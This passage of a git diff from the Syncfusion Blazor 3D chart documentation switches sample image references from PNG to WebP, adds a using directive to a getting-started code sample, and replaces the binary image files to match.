+{% previewsample "https://blazorplayground.syncfusion.com/embed/LtVpDnMqCYcOWHOq?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Stacked Bar 3D Chart with Custom Series](../images/chart-types-images/blazor-stacked-bar-chart-custom-series.webp)" %}
diff --git a/blazor/3D-chart/chart-types/stacked-column.md b/blazor/3D-chart/chart-types/stacked-column.md
index 13f2d85a29..7ea1998005 100644
--- a/blazor/3D-chart/chart-types/stacked-column.md
+++ b/blazor/3D-chart/chart-types/stacked-column.md
@@ -50,7 +50,7 @@ To render a stacked column series, use series `Type` as `StackingColumn`.
 }
 
 ``` 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/hXBftRMAVjJALNDA?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Stacked Column 3D Chart](../images/chart-types-images/blazor-stacked-column-chart.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/hXBftRMAVjJALNDA?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Stacked Column 3D Chart](../images/chart-types-images/blazor-stacked-column-chart.webp)" %}
 
 ## Stacking group
 
@@ -93,7 +93,7 @@ To group the stacked column, the `StackingGroup` property can be used. The colum
 }
 
 ``` 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VXhpZnCUhDzupZKQ?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Grouping in Blazor Stacked Column 3D Chart](../images/chart-types-images/blazor-stacked-colum-chart-with-grouping.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/VXhpZnCUhDzupZKQ?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Grouping in Blazor Stacked Column 3D Chart](../images/chart-types-images/blazor-stacked-colum-chart-with-grouping.webp)" %}
 
 ## Cylindrical stacked column chart
 
@@ -136,7 +136,7 @@ To render a cylindrical stacked column chart, set the `ColumnFacet` property to
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LZhTDnCqVjoUjFfB?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Cylindrical Column 3D Chart](../images/chart-types-images/blazor-cylindricaal-stacked-column-chart.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/LZhTDnCqVjoUjFfB?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Cylindrical Column 3D Chart](../images/chart-types-images/blazor-cylindricaal-stacked-column-chart.webp)" %}
 
 ## Series customization
 
@@ -182,4 +182,4 @@ The following properties can be used to customize the `Stacked Column` series.
 }
 
 ``` 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/hjVJXHMqLXoxCjlL?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Stacked Column 3D Chart with Custom Series](../images/chart-types-images/blazor-stacked-column-chart-custom-series.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/hjVJXHMqLXoxCjlL?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Stacked Column 3D Chart with Custom Series](../images/chart-types-images/blazor-stacked-column-chart-custom-series.webp)" %}
diff --git a/blazor/3D-chart/data-labels.md b/blazor/3D-chart/data-labels.md
index 29289890c6..2bafc7ffcf 100644
--- a/blazor/3D-chart/data-labels.md
+++ b/blazor/3D-chart/data-labels.md
@@ -48,7 +48,7 @@ Data labels are fields that includes information about the sample point connecte
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/hjBzZdWrfVZpBXMM?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor 3D Chart with Data Label](images/data-label/blazor-chart-data-label.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/hjBzZdWrfVZpBXMM?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor 3D Chart with Data Label](images/data-label/blazor-chart-data-label.webp)" %}
 
 ## Position
 
@@ -91,7 +91,7 @@ The `Position` property is used to place the label either on `Top`, `Middle`, or
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/hNLJtxCBfBjQyAbW?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Changing Label Position in Blazor 3D Chart](images/data-label/blazor-chart-label-position.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/hNLJtxCBfBjQyAbW?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Changing Label Position in Blazor 3D Chart](images/data-label/blazor-chart-label-position.webp)" %}
 
 ## Template
 
@@ -141,7 +141,7 @@ Label content can be formatted by using the template option. Inside the template
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LDBJNRWBJVChojGx?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor 3D Chart Label with Template](images/data-label/blazor-chart-datalabel-template.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/LDBJNRWBJVChojGx?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor 3D Chart Label with Template](images/data-label/blazor-chart-datalabel-template.webp)" %}
 
 ## Text mapping
 
@@ -179,7 +179,7 @@ Text from the data source can be mapped using the `NameField` property.
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VXVJNxsrfBWdyERK?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor 3D Chart Label with Text Mapping](images/data-label/blazor-chart-label-with-text-mapping.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/VXVJNxsrfBWdyERK?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor 3D Chart Label with Text Mapping](images/data-label/blazor-chart-label-with-text-mapping.webp)" %}
 
 ## Format
 
@@ -217,7 +217,7 @@ Data label for the chart can be formatted using the `Format` property. The globa
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/hXrJNnWhzrCaQgqM?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor 3D Chart Label with Format](images/data-label/blazor-chart-label-with-format.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/hXrJNnWhzrCaQgqM?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor 3D Chart Label with Format](images/data-label/blazor-chart-label-with-format.webp)" %}
 
 The table below shows the results of applying various commonly used label formats to numeric data.
 
@@ -319,7 +319,7 @@ The `Margin` option can be applied to the data label to create space around the
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/BXLpNHihJhLAjJdx?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor 3D Chart Label with Margin](images/data-label/blazor-chart-label-with-margin.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/BXLpNHihJhLAjJdx?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor 3D Chart Label with Margin](images/data-label/blazor-chart-label-with-margin.webp)" %}
 
 ## Customization
 
@@ -359,7 +359,7 @@ The `stroke` and `border` of data label can be customized using `Fill` and `Char
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rtrJXnCrfBBywLmC?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor 3D Chart with Custom Label](images/data-label/blazor-chart-custom-label.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/rtrJXnCrfBBywLmC?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor 3D Chart with Custom Label](images/data-label/blazor-chart-custom-label.webp)" %}
 
 ## Customizing specific label
 
@@ -416,4 +416,4 @@ A specific label can be customized by using the `TextRender` event. The `TextR
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rXVzNxihTVLOVTJZ?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor 3D Chart with Custom Speci Label](images/data-label/blazor-chart-custom-specific-label.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/rXVzNxihTVLOVTJZ?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor 3D Chart with Custom Speci Label](images/data-label/blazor-chart-custom-specific-label.webp)" %}
diff --git a/blazor/3D-chart/date-time-axis.md b/blazor/3D-chart/date-time-axis.md
index b26e030dea..006b0f69bd 100644
--- a/blazor/3D-chart/date-time-axis.md
+++ b/blazor/3D-chart/date-time-axis.md
@@ -48,7 +48,7 @@ documentation: ug
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/hjhTZHirphUnPCqM?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor 3D Chart with DateTime Axis](images/datetime/blazor-column-chart-datetime-axis.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/hjhTZHirphUnPCqM?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor 3D Chart with DateTime Axis](images/datetime/blazor-column-chart-datetime-axis.webp)" %}
 
 ## DateTime category axis
 
@@ -85,7 +85,7 @@ The `DateTimeCategory` axis is used to display the date time values with non-lin
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/hXLpjHiVJrKOIbbu?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column 3D Chart with DateTime Axis](images/datetime/blazor-column-chart-with-datetime-axis.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/hXLpjHiVJrKOIbbu?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column 3D Chart with DateTime Axis](images/datetime/blazor-column-chart-with-datetime-axis.webp)" %}
 
 ### Range
 
@@ -125,7 +125,7 @@ Range of an axis will be calculated automatically based on the provided data. Yo
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VDrJXdCLzhJLRmjw?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Changing Blazor Column 3D Chart DateTime Axis based on Range](images/datetime/blazor-column-chart-axis-based-on-range.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/VDrJXdCLzhJLRmjw?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Changing Blazor Column 3D Chart DateTime Axis based on Range](images/datetime/blazor-column-chart-axis-based-on-range.webp)" %}
 
 ### Interval customization
 
@@ -171,7 +171,7 @@ Date time intervals can be customized by using the `Interval` and `IntervalType`
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LNBpDdirTBfmVqNO?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Changing Blazor Column 3D Chart DateTime Axis based on Interval](images/datetime/blazor-column-chart-axis-based-on-interval.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/LNBpDdirTBfmVqNO?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Changing Blazor Column 3D Chart DateTime Axis based on Interval](images/datetime/blazor-column-chart-axis-based-on-interval.webp)" %}
 
 **Applying padding to the Range**
 
@@ -218,7 +218,7 @@ When the `RangePadding` is set to **None**, the minimum and maximum of the a
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LNrptHMhfBIrZRdV?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column 3D Chart without RangePadding](images/datetime/blazor-column-chart-axis-based-on-range-none.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/LNrptHMhfBIrZRdV?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column 3D Chart without RangePadding](images/datetime/blazor-column-chart-axis-based-on-range-none.webp)" %}
 
 **DateTime - Round**
 
@@ -258,7 +258,7 @@ When the `RangePadding` is set to `Round`, minimum and maximum will be rounded t
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rthpZRWBJVSnflQi?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column 3D Chart with Round RangePadding](images/datetime/blazor-column-chart-axis-based-on-range-round.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/rthpZRWBJVSnflQi?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column 3D Chart with Round RangePadding](images/datetime/blazor-column-chart-axis-based-on-range-round.webp)" %}
 
 **DateTime - Additional**
 
@@ -297,7 +297,7 @@ When the `RangePadding` property is set to **Additional**, the interval of an ax
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/BXBTjdsrfrxMZeIc?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column 3D Chart with Additional RangePadding](images/datetime/blazor-column-chart-axis-based-on-range-Additional.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/BXBTjdsrfrxMZeIc?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column 3D Chart with Additional RangePadding](images/datetime/blazor-column-chart-axis-based-on-range-Additional.webp)" %}
 
 ## Label format
 
@@ -340,7 +340,7 @@ The date can be formatted and parsed to all globalize format using the `LabelFo
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VZLftHshTUyFcIMA?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Axis Label Formatting in Blazor Column 3D Chart](images/datetime/blazor-column-chart-axis-label-format.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/VZLftHshTUyFcIMA?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Axis Label Formatting in Blazor Column 3D Chart](images/datetime/blazor-column-chart-axis-label-format.webp)" %}
 
 The table below shows the results of applying various popular date and time formats to the `LabelFormat` property.
 
diff --git a/blazor/3D-chart/getting-started.md b/blazor/3D-chart/getting-started.md
index 916374fbcd..74e3409074 100644
--- a/blazor/3D-chart/getting-started.md
+++ b/blazor/3D-chart/getting-started.md
@@ -201,6 +201,8 @@ Now, map the data fields  `Month` and `Sales` to the series `XName` and `YName`
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
+@using Syncfusion.Blazor.Chart3D
+
 <SfChart3D>
     <Chart3DPrimaryXAxis ValueType="Syncfusion.Blazor.Chart3D.ValueType.Category"></Chart3DPrimaryXAxis>
     <Chart3DSeriesCollection>
diff --git a/blazor/3D-chart/images/Blazor-server-app-creation.png b/blazor/3D-chart/images/Blazor-server-app-creation.png
deleted file mode 100644
index 02e4a025bf..0000000000
Binary files a/blazor/3D-chart/images/Blazor-server-app-creation.png and /dev/null differ
diff --git a/blazor/3D-chart/images/Blazor-server-app-creation.webp b/blazor/3D-chart/images/Blazor-server-app-creation.webp
new file mode 100644
index 0000000000..0d820ce3eb
Binary files /dev/null and b/blazor/3D-chart/images/Blazor-server-app-creation.webp differ
diff --git a/blazor/3D-chart/images/appearance/blazor-column-chart-custom-background-and-border.png b/blazor/3D-chart/images/appearance/blazor-column-chart-custom-background-and-border.png
deleted file mode 100644
index bab4416a37..0000000000
Binary files a/blazor/3D-chart/images/appearance/blazor-column-chart-custom-background-and-border.png and /dev/null differ
diff --git a/blazor/3D-chart/images/appearance/blazor-column-chart-custom-background-and-border.webp b/blazor/3D-chart/images/appearance/blazor-column-chart-custom-background-and-border.webp
new file mode 100644
index 0000000000..8033b02974
Binary files /dev/null and b/blazor/3D-chart/images/appearance/blazor-column-chart-custom-background-and-border.webp differ
diff --git a/blazor/3D-chart/images/appearance/blazor-column-chart-custom-color-palette.png b/blazor/3D-chart/images/appearance/blazor-column-chart-custom-color-palette.png
deleted file mode 100644
index 6e35340023..0000000000
Binary files a/blazor/3D-chart/images/appearance/blazor-column-chart-custom-color-palette.png and /dev/null differ
diff --git a/blazor/3D-chart/images/appearance/blazor-column-chart-custom-color-palette.webp b/blazor/3D-chart/images/appearance/blazor-column-chart-custom-color-palette.webp
new file mode 100644
index 0000000000..76c26f59fc
Binary files /dev/null and b/blazor/3D-chart/images/appearance/blazor-column-chart-custom-color-palette.webp differ
diff --git a/blazor/3D-chart/images/appearance/blazor-column-chart-custom-margin.png b/blazor/3D-chart/images/appearance/blazor-column-chart-custom-margin.png
deleted file mode 100644
index 81b5294c11..0000000000
Binary files a/blazor/3D-chart/images/appearance/blazor-column-chart-custom-margin.png and /dev/null differ
diff --git a/blazor/3D-chart/images/appearance/blazor-column-chart-custom-margin.webp b/blazor/3D-chart/images/appearance/blazor-column-chart-custom-margin.webp
new file mode 100644
index 0000000000..2de91ef2f5
Binary files /dev/null and b/blazor/3D-chart/images/appearance/blazor-column-chart-custom-margin.webp differ
diff --git a/blazor/3D-chart/images/appearance/blazor-column-chart-point-level-customization.png b/blazor/3D-chart/images/appearance/blazor-column-chart-point-level-customization.png
deleted file mode 100644
index b006f92358..0000000000
Binary files a/blazor/3D-chart/images/appearance/blazor-column-chart-point-level-customization.png and /dev/null differ
diff --git a/blazor/3D-chart/images/appearance/blazor-column-chart-point-level-customization.webp b/blazor/3D-chart/images/appearance/blazor-column-chart-point-level-customization.webp
new file mode 100644
index 0000000000..00d08c078e
Binary files /dev/null and b/blazor/3D-chart/images/appearance/blazor-column-chart-point-level-customization.webp differ
diff --git a/blazor/3D-chart/images/appearance/blazor-column-chart-title-alignment.png b/blazor/3D-chart/images/appearance/blazor-column-chart-title-alignment.png
deleted file mode 100644
index dfeab6c265..0000000000
Binary files a/blazor/3D-chart/images/appearance/blazor-column-chart-title-alignment.png and /dev/null differ
diff --git a/blazor/3D-chart/images/appearance/blazor-column-chart-title-alignment.webp b/blazor/3D-chart/images/appearance/blazor-column-chart-title-alignment.webp
new file mode 100644
index 0000000000..90dc5a98ea
Binary files /dev/null and b/blazor/3D-chart/images/appearance/blazor-column-chart-title-alignment.webp differ
diff --git a/blazor/3D-chart/images/appearance/blazor-column-chart-title-custom.png b/blazor/3D-chart/images/appearance/blazor-column-chart-title-custom.png
deleted file mode 100644
index 0652ef96bf..0000000000
Binary files a/blazor/3D-chart/images/appearance/blazor-column-chart-title-custom.png and /dev/null differ
diff --git a/blazor/3D-chart/images/appearance/blazor-column-chart-title-custom.webp b/blazor/3D-chart/images/appearance/blazor-column-chart-title-custom.webp
new file mode 100644
index 0000000000..d79ad9b98d
Binary files /dev/null and b/blazor/3D-chart/images/appearance/blazor-column-chart-title-custom.webp differ
diff --git a/blazor/3D-chart/images/appearance/blazor-column-chart-title-position.png b/blazor/3D-chart/images/appearance/blazor-column-chart-title-position.png
deleted file mode 100644
index 154bf05f04..0000000000
Binary files a/blazor/3D-chart/images/appearance/blazor-column-chart-title-position.png and /dev/null differ
diff --git a/blazor/3D-chart/images/appearance/blazor-column-chart-title-position.webp b/blazor/3D-chart/images/appearance/blazor-column-chart-title-position.webp
new file mode 100644
index 0000000000..4aa60f567c
Binary files /dev/null and b/blazor/3D-chart/images/appearance/blazor-column-chart-title-position.webp differ
diff --git a/blazor/3D-chart/images/appearance/blazor-column-chart-title-with-customization.png b/blazor/3D-chart/images/appearance/blazor-column-chart-title-with-customization.png
deleted file mode 100644
index ffd29c88ea..0000000000
Binary files a/blazor/3D-chart/images/appearance/blazor-column-chart-title-with-customization.png and /dev/null differ
diff --git a/blazor/3D-chart/images/appearance/blazor-column-chart-title-with-customization.webp b/blazor/3D-chart/images/appearance/blazor-column-chart-title-with-customization.webp
new file mode 100644
index 0000000000..8ee244f589
Binary files /dev/null and b/blazor/3D-chart/images/appearance/blazor-column-chart-title-with-customization.webp differ
diff --git a/blazor/3D-chart/images/appearance/blazor-column-chart-title.png b/blazor/3D-chart/images/appearance/blazor-column-chart-title.png
deleted file mode 100644
index 14335e3567..0000000000
Binary files a/blazor/3D-chart/images/appearance/blazor-column-chart-title.png and /dev/null differ
diff --git a/blazor/3D-chart/images/appearance/blazor-column-chart-title.webp b/blazor/3D-chart/images/appearance/blazor-column-chart-title.webp
new file mode 100644
index 0000000000..5dec9cd75d
Binary files /dev/null and b/blazor/3D-chart/images/appearance/blazor-column-chart-title.webp differ
diff --git a/blazor/3D-chart/images/appearance/blazor-column-chart-with-point-color.png b/blazor/3D-chart/images/appearance/blazor-column-chart-with-point-color.png
deleted file mode 100644
index 3db3b0e0de..0000000000
Binary files a/blazor/3D-chart/images/appearance/blazor-column-chart-with-point-color.png and /dev/null differ
diff --git a/blazor/3D-chart/images/appearance/blazor-column-chart-with-point-color.webp b/blazor/3D-chart/images/appearance/blazor-column-chart-with-point-color.webp
new file mode 100644
index 0000000000..364e96cfd2
Binary files /dev/null and b/blazor/3D-chart/images/appearance/blazor-column-chart-with-point-color.webp differ
diff --git a/blazor/3D-chart/images/axis-customization/blazor-column-chart-axis-at-opposed-position.png b/blazor/3D-chart/images/axis-customization/blazor-column-chart-axis-at-opposed-position.png
deleted file mode 100644
index 9d5c13052f..0000000000
Binary files a/blazor/3D-chart/images/axis-customization/blazor-column-chart-axis-at-opposed-position.png and /dev/null differ
diff --git a/blazor/3D-chart/images/axis-customization/blazor-column-chart-axis-at-opposed-position.webp b/blazor/3D-chart/images/axis-customization/blazor-column-chart-axis-at-opposed-position.webp
new file mode 100644
index 0000000000..d0ea2636ac
Binary files /dev/null and b/blazor/3D-chart/images/axis-customization/blazor-column-chart-axis-at-opposed-position.webp differ
diff --git a/blazor/3D-chart/images/axis-customization/blazor-column-chart-axis-title-rotation.png b/blazor/3D-chart/images/axis-customization/blazor-column-chart-axis-title-rotation.png
deleted file mode 100644
index 9d70c3a512..0000000000
Binary files a/blazor/3D-chart/images/axis-customization/blazor-column-chart-axis-title-rotation.png and /dev/null differ
diff --git a/blazor/3D-chart/images/axis-customization/blazor-column-chart-axis-title-rotation.webp b/blazor/3D-chart/images/axis-customization/blazor-column-chart-axis-title-rotation.webp
new file mode 100644
index 0000000000..392ff3195b
Binary files /dev/null and b/blazor/3D-chart/images/axis-customization/blazor-column-chart-axis-title-rotation.webp differ
diff --git a/blazor/3D-chart/images/axis-customization/blazor-column-chart-axis-title.png b/blazor/3D-chart/images/axis-customization/blazor-column-chart-axis-title.png
deleted file mode 100644
index 5d54029dc0..0000000000
Binary files a/blazor/3D-chart/images/axis-customization/blazor-column-chart-axis-title.png and /dev/null differ
diff --git a/blazor/3D-chart/images/axis-customization/blazor-column-chart-axis-title.webp b/blazor/3D-chart/images/axis-customization/blazor-column-chart-axis-title.webp
new file mode 100644
index 0000000000..d75a2630cb
Binary files /dev/null and b/blazor/3D-chart/images/axis-customization/blazor-column-chart-axis-title.webp differ
diff --git a/blazor/3D-chart/images/axis-customization/blazor-column-chart-custom-gridline.png b/blazor/3D-chart/images/axis-customization/blazor-column-chart-custom-gridline.png
deleted file mode 100644
index 4d5546fc68..0000000000
Binary files a/blazor/3D-chart/images/axis-customization/blazor-column-chart-custom-gridline.png and /dev/null differ
diff --git a/blazor/3D-chart/images/axis-customization/blazor-column-chart-custom-gridline.webp b/blazor/3D-chart/images/axis-customization/blazor-column-chart-custom-gridline.webp
new file mode 100644
index 0000000000..2e59db66d4
Binary files /dev/null and b/blazor/3D-chart/images/axis-customization/blazor-column-chart-custom-gridline.webp differ
diff --git a/blazor/3D-chart/images/axis-customization/blazor-column-chart-custom-tick-lines.png b/blazor/3D-chart/images/axis-customization/blazor-column-chart-custom-tick-lines.png
deleted file mode 100644
index 8d3768b043..0000000000
Binary files a/blazor/3D-chart/images/axis-customization/blazor-column-chart-custom-tick-lines.png and /dev/null differ
diff --git a/blazor/3D-chart/images/axis-customization/blazor-column-chart-custom-tick-lines.webp b/blazor/3D-chart/images/axis-customization/blazor-column-chart-custom-tick-lines.webp
new file mode 100644
index 0000000000..50b05e43f4
Binary files /dev/null and b/blazor/3D-chart/images/axis-customization/blazor-column-chart-custom-tick-lines.webp differ
diff --git a/blazor/3D-chart/images/axis-customization/blazor-column-chart-inversed-axis.png b/blazor/3D-chart/images/axis-customization/blazor-column-chart-inversed-axis.png
deleted file mode 100644
index 24eeef27ac..0000000000
Binary files a/blazor/3D-chart/images/axis-customization/blazor-column-chart-inversed-axis.png and /dev/null differ
diff --git a/blazor/3D-chart/images/axis-customization/blazor-column-chart-inversed-axis.webp b/blazor/3D-chart/images/axis-customization/blazor-column-chart-inversed-axis.webp
new file mode 100644
index 0000000000..532f1e1caa
Binary files /dev/null and b/blazor/3D-chart/images/axis-customization/blazor-column-chart-inversed-axis.webp differ
diff --git a/blazor/3D-chart/images/axis-customization/blazor-column-chart-multiple-axes.png b/blazor/3D-chart/images/axis-customization/blazor-column-chart-multiple-axes.png
deleted file mode 100644
index c4a4cd60a2..0000000000
Binary files a/blazor/3D-chart/images/axis-customization/blazor-column-chart-multiple-axes.png and /dev/null differ
diff --git a/blazor/3D-chart/images/axis-customization/blazor-column-chart-multiple-axes.webp b/blazor/3D-chart/images/axis-customization/blazor-column-chart-multiple-axes.webp
new file mode 100644
index 0000000000..bee478abf4
Binary files /dev/null and b/blazor/3D-chart/images/axis-customization/blazor-column-chart-multiple-axes.webp differ
diff --git a/blazor/3D-chart/images/axis-labels/blazor-chart-axis-label-in-edge.png b/blazor/3D-chart/images/axis-labels/blazor-chart-axis-label-in-edge.png
deleted file mode 100644
index 95d2035f71..0000000000
Binary files a/blazor/3D-chart/images/axis-labels/blazor-chart-axis-label-in-edge.png and /dev/null differ
diff --git a/blazor/3D-chart/images/axis-labels/blazor-chart-axis-label-in-edge.webp b/blazor/3D-chart/images/axis-labels/blazor-chart-axis-label-in-edge.webp
new file mode 100644
index 0000000000..f75bb780c5
Binary files /dev/null and b/blazor/3D-chart/images/axis-labels/blazor-chart-axis-label-in-edge.webp differ
diff --git a/blazor/3D-chart/images/axis-labels/blazor-column-chart-axis-label-in-rotate45.png b/blazor/3D-chart/images/axis-labels/blazor-column-chart-axis-label-in-rotate45.png
deleted file mode 100644
index 52a62263ea..0000000000
Binary files a/blazor/3D-chart/images/axis-labels/blazor-column-chart-axis-label-in-rotate45.png and /dev/null differ
diff --git a/blazor/3D-chart/images/axis-labels/blazor-column-chart-axis-label-in-rotate45.webp b/blazor/3D-chart/images/axis-labels/blazor-column-chart-axis-label-in-rotate45.webp
new file mode 100644
index 0000000000..3dcba3f116
Binary files /dev/null and b/blazor/3D-chart/images/axis-labels/blazor-column-chart-axis-label-in-rotate45.webp differ
diff --git a/blazor/3D-chart/images/axis-labels/blazor-column-chart-axis-label-in-rotate90.png b/blazor/3D-chart/images/axis-labels/blazor-column-chart-axis-label-in-rotate90.png
deleted file mode 100644
index a379a3edb9..0000000000
Binary files a/blazor/3D-chart/images/axis-labels/blazor-column-chart-axis-label-in-rotate90.png and /dev/null differ
diff --git a/blazor/3D-chart/images/axis-labels/blazor-column-chart-axis-label-in-rotate90.webp b/blazor/3D-chart/images/axis-labels/blazor-column-chart-axis-label-in-rotate90.webp
new file mode 100644
index 0000000000..f166bd2a8e
Binary files /dev/null and b/blazor/3D-chart/images/axis-labels/blazor-column-chart-axis-label-in-rotate90.webp differ
diff --git a/blazor/3D-chart/images/axis-labels/blazor-column-chart-hide-smart-axis-label.png b/blazor/3D-chart/images/axis-labels/blazor-column-chart-hide-smart-axis-label.png
deleted file mode 100644
index 05ccf6d2ec..0000000000
Binary files a/blazor/3D-chart/images/axis-labels/blazor-column-chart-hide-smart-axis-label.png and /dev/null differ
diff --git a/blazor/3D-chart/images/axis-labels/blazor-column-chart-hide-smart-axis-label.webp b/blazor/3D-chart/images/axis-labels/blazor-column-chart-hide-smart-axis-label.webp
new file mode 100644
index 0000000000..8ab4753731
Binary files /dev/null and b/blazor/3D-chart/images/axis-labels/blazor-column-chart-hide-smart-axis-label.webp differ
diff --git a/blazor/3D-chart/images/blazor-app-interactive-mode.png b/blazor/3D-chart/images/blazor-app-interactive-mode.png
deleted file mode 100644
index 9edcc0e351..0000000000
Binary files a/blazor/3D-chart/images/blazor-app-interactive-mode.png and /dev/null differ
diff --git a/blazor/3D-chart/images/blazor-app-interactive-mode.webp b/blazor/3D-chart/images/blazor-app-interactive-mode.webp
new file mode 100644
index 0000000000..44f2080745
Binary files /dev/null and b/blazor/3D-chart/images/blazor-app-interactive-mode.webp differ
diff --git a/blazor/3D-chart/images/blazor-create-web-app.png b/blazor/3D-chart/images/blazor-create-web-app.png
deleted file mode 100644
index 7dd6e612d2..0000000000
Binary files a/blazor/3D-chart/images/blazor-create-web-app.png and /dev/null differ
diff --git a/blazor/3D-chart/images/blazor-create-web-app.webp b/blazor/3D-chart/images/blazor-create-web-app.webp
new file mode 100644
index 0000000000..199356f771
Binary files /dev/null and b/blazor/3D-chart/images/blazor-create-web-app.webp differ
diff --git a/blazor/3D-chart/images/blazor-wasm-app-template.png b/blazor/3D-chart/images/blazor-wasm-app-template.png
deleted file mode 100644
index 8cf1737d81..0000000000
Binary files a/blazor/3D-chart/images/blazor-wasm-app-template.png and /dev/null differ
diff --git a/blazor/3D-chart/images/blazor-wasm-app-template.webp b/blazor/3D-chart/images/blazor-wasm-app-template.webp
new file mode 100644
index 0000000000..6824d1db62
Binary files /dev/null and b/blazor/3D-chart/images/blazor-wasm-app-template.webp differ
diff --git a/blazor/3D-chart/images/category-axis/blazor-chart-axis-range-and-interval.png b/blazor/3D-chart/images/category-axis/blazor-chart-axis-range-and-interval.png
deleted file mode 100644
index 0b608fdbc6..0000000000
Binary files a/blazor/3D-chart/images/category-axis/blazor-chart-axis-range-and-interval.png and /dev/null differ
